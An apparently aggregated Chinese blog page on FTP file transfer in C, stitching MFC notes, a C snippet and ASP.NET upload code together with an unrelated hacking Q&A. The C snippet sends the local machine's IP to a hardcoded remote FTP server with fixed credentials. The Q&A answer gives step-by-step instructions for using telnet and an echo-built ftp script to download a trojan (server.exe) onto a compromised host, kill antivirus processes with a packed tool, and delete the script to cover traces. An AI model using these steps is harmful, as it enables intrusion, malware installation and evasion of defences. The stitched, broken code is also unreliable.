C语言实现从FTP下载、上传文件

C语言实现从FTP下载、上传文件,第1张

1.C语言可以使用CStdioFile函数打开本地文件。使用类CInternetSession 创建并初始化一个Internet打开FTP服务器文件。

  CStdioFile继承自CFile,一个CStdioFile 对象代表一个用运行时函数fopen 打开的C 运行时流式文件。

流式文件是被缓冲的,而且可以以文本方式(缺省)或二进制方式打开。文本方式提供对硬回车—换行符对的特殊处理。当你将一个换行符(0x0A)写入一个文本方式的CStdioFile 对象时,字节对(0x0D,0x0A)被发送给该文件。当你读一个文件时,字节对(0x0D,0x0A)被翻译为一个字节(0x0A)。

CStdioFile 不支持Duplicate,LockRange,和UnlockRange 这几个CFile 函数。如果在CStdioFile 中调用了这几个函数,将会出现CNoSupported 异常。

使用类CInternetSession 创建并初始化一个或多个同时的Internet 会话。如果需要,还可描述与代理服务器的连接。

如果Internet连接必须在应用过程中保持着,可创建一个类CWinApp的CInternetSession成员。一旦已建立起Internet 会话,就可调用OpenURL。CInternetSession会通过调用全局函数AfxParseURL来为分析映射URL。无论协议类型如何,CInternetSession 解释URL并管理它。它可处理由URL资源“file://”标志的本地文件的请求。如果传给它的名字是本地文件,OpenURL 将返回一个指向CStdioFile对象的指针。

如果使用OpenURL在Internet服务器上打开一个URL,你可从此处读取信息。如果要执行定位在服务器上的指定的服务(例如,HTTP,FTP或Gopher)行为,必须与此服务器建立适当的连接。

2.例程:

#include <winsock.h>

#include <stdio.h>

WORD wVersionRequested

WSADATA wsaData

char name[255] //name里是本机名

CString ip //本机IP

PHOSTENT hostinfo

wVersionRequested = MAKEWORD( 1, 1 )

if ( WSAStartup( wVersionRequested, &wsaData ) == 0 )

{

if( gethostname ( name, sizeof(name)) == 0)

  {

if((hostinfo = gethostbyname(name)) != NULL)

{

ip = inet_ntoa (*(struct in_addr *)*hostinfo->h_addr_list)

}

}

WSACleanup( )

}  

// AfxMessageBox(name)//name里是本机名

// AfxMessageBox(ip) //ip中是本机IP

CStdioFile File

File.Open("C://ip.txt",CFile::modeCreate|CFile::modeReadWrite)

//如果文件事先不存在的话,就需要CFile::modeCreate,否则就不需要。

File.WriteString(ip+":"+"8000")

File.Close()  //注意,这里一定要把文件关闭,否则不能成功上传

CString host="204.45.67.11"  

  CString user="19337"  

  CString password="1234567"  

  TRACE(":%s:%s:%s:%s/n", host,   

user, password, "C://ip.txt")  

  CInternetSession session  

(AfxGetApp()->m_pszAppName)  

  CFtpConnection* pConn = NULL  

  pConn = session.GetFtpConnection (host,user,password)  

  if (pConn) {  

if (!pConn->PutFile("C://ip.txt","ip.txt"))

{  

MessageBox("传送文件失败??")  

} else {  

MessageBox("传送文件成功!")  

}  

pConn->Close()  

delete pConn  

session.Close()  

  } else {  

MessageBox("Cannot Connect")  

  }

点击上传按钮:

protected void btnupload_Click(object sender, EventArgs e)

{

string file = uploadfile.SaveFile(uploadpic, upleixing,"uploadpic")

if (UpType.ToLower() == "one")

{

Response.Write("<script>parent.document.form1." + htmControl + ".value='" + file + "'</script>")

}

else

{

Response.Write("<script>if(parent.document.form1." + htmControl + ".value==''){parent.document.form1." + htmControl + ".value='" + file + "'}else{parent.document.form1." + htmControl + ".value+='|" + file + "'}</script>")

}

}

uploadfile.cs

using System

using System.Data

using System.Configuration

using System.Web

using System.Web.Security

using System.Web.UI

using System.Web.UI.WebControls

using System.Web.UI.WebControls.WebParts

using System.Web.UI.HtmlControls

using System.IO

/// <summary>

/// uploadfile 的摘要说明

/// </summary>

public class uploadfile

{

public uploadfile()

{

//

// TODO: 在此处添加构造函数逻辑

//

}

/// <summary>

/// 判断文件路径是否存在;

/// 返回创建点日期文件夹路径

/// </summary>

/// <returns></returns>

public static string createFolder()

{

string rtpaht = ""

DateTime datenow = DateTime.Now

string year = datenow.Year.ToString()

string month = datenow.Month.ToString()

string date = datenow.Day.ToString()

if (Directory.Exists(HttpContext.Current.Server.MapPath("~/uploadpic/" + year + "/" + month + "/" + date + "")) == false)

{

Directory.CreateDirectory(HttpContext.Current.Server.MapPath("~/uploadpic/" + year + "/" + month + "/" + date + ""))

}

rtpaht = "" + year + "/" + month + "/" + date + ""

return rtpaht

}

/// <summary>

/// 保存文件,返回带日期文件夹的路径。

/// </summary>

/// <param name="file"></param>

/// <param name="type"></param>

/// <returns></returns>

public static string SaveFile(FileUpload file,string type)

{

return SaveFile(file, type, "uploadpic")

}

/// <summary>

/// 保存文件

/// </summary>

/// <param name="file"></param>

/// <param name="type"></param>

/// <param name="SaveFoder"></param>

/// <returns></returns>

public static string SaveFile(FileUpload file, string type,string SaveFoder)

{

if (type.IndexOf("asp") >= 0 || type.IndexOf("php") >= 0 || type.IndexOf("aspx") >= 0 || type.IndexOf("jsp") >= 0 || type.IndexOf("exe") >= 0)

{

HttpContext.Current.Response.End()

}

string filename = file.PostedFile.FileName

if (file.HasFile)

{

string savepath1 = createFolder()

string savepath = ""

if (SaveFoder == "")

{

savepath = HttpContext.Current.Server.MapPath("~/"+SaveFoder+"/" + savepath1)

if (Directory.Exists(savepath) == false)

{

Directory.CreateDirectory(savepath)

}

}

else

{

savepath = HttpContext.Current.Server.MapPath("~/" + SaveFoder + "/" + savepath1)

if (Directory.Exists(savepath) == false)

{

Directory.CreateDirectory(savepath)

}

}

string filename2 = DateTime.Now.ToString().Replace("-", "").Replace(":", "").Replace(" ", "") + "." + GetFileExtends(filename, type)

file.SaveAs(savepath + "/" + filename2)

return savepath1 + "/" + filename2

}

else

{

// HttpContext.Current.Response.Write(CommdClass.ResponseScript("请选择上传的文件!", "-1"))

return "nofile.jpg"

}

}

/// <summary>

///

/// </summary>

/// <param name="filename"></param>

/// <param name="filetype">文件类型(gif,jpg,bmp)</param>

/// <returns></returns>

public static string GetFileExtends(string filename,string filetype)

{

string ext = null

if (filename.IndexOf('.') >0)

{

string[] fs = filename.Split('.')

ext = fs[fs.Length - 1]

}

if (filetype.IndexOf(ext.ToLower()) <0)

{

HttpContext.Current.Response.Write(ext + "<br>" + filetype)

HttpContext.Current.Response.Write(CommdClass.ResponseScript("文件格式错误,只允许上传" + filetype + "格式文件。", "0"))

return""

}

return ext

}

}

分类: 电脑/网络 >>互联网

问题描述:

tftp -i 自己IP get server.exe c:\server.exe 已经先开起了tftp32程序怎么总是不行?要么超时要么说找不到c:\server.exe

还有怎么进入图形界面?

请说的清楚一点 最好有具体步骤!

解析:

tel 吗?

现在不是很管用了,以前我玩的时候是这么搞的:

先把你的文件放到网上,比如用你的机器做一个ftp,你机器的ip就是地址,该ftp的用户名和密码就是下边提到的ftp用户名和密码。最简单的方法是在网上申请一个免费的ftp地址。然后在tel下这么一行行输入(空格里的不用输):

echo open ftp地址>>tan.txt (连接ftp)

echo ftp用户名>>tan.txt

echo ftp密码>>tan.txt

echo bin>>tan.txt

echo get 文件1>>tan.txt (下载文件)

echo get 文件2>>tan.txt (下载文件)

echo bye>>tan.txt

ftp -s:tan.txt

比如当时我申请的是79222的免费ftp,我就这么输的:

echo open 79222>>tan.txt

echo 该ftp的登陆用户名>>tan.txt

echo 密码>>tan.txt

echo bin>>tan.txt

echo get server.exe>>tan.txt 下载木马文件

echo get pslist.exe>>tan.txt 下载查看进程文件

…… 中间如果还有其他文件下载,继续再这加

echo bye>>tan.txt

ftp -s:tan.txt

这段话就是一行行地把命令写在一个“tan.txt”的文本文件里(文件名可以随便取),所有的命令加一起就是连接到ftp里然后下载文件,最后断开连接。ftp -s:tan.txt的意思就是执行该文本文档里的命令。这样在执行时文件就下下来了。

最后别忘了再加一句

del tan.txt 也就是擦屁屁了呵呵。

很怀念当时玩黑的日子哦...现在没时间玩了...但对这些还是很感兴趣的...

对了,最后提醒一下,查一下他的进程,如果有杀毒进程就先下载一个杀进程的工具(我当时用的是killer15.exe,不知道现在还好用不),然后给这个工具加下壳,不然还没给杀毒软件进程杀了自己就先被杀了,杀掉杀毒进程后再重新输入这些命令下载木马。

装了木马运行了自然就进了图形界面了。

只说这么多了,够详细了,能看懂的话最好。看不懂的话给一千分也帮不了你了。


欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/tougao/11507577.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2023-05-16
下一篇 2023-05-16

发表评论

登录后才能评论

评论列表(0条)

保存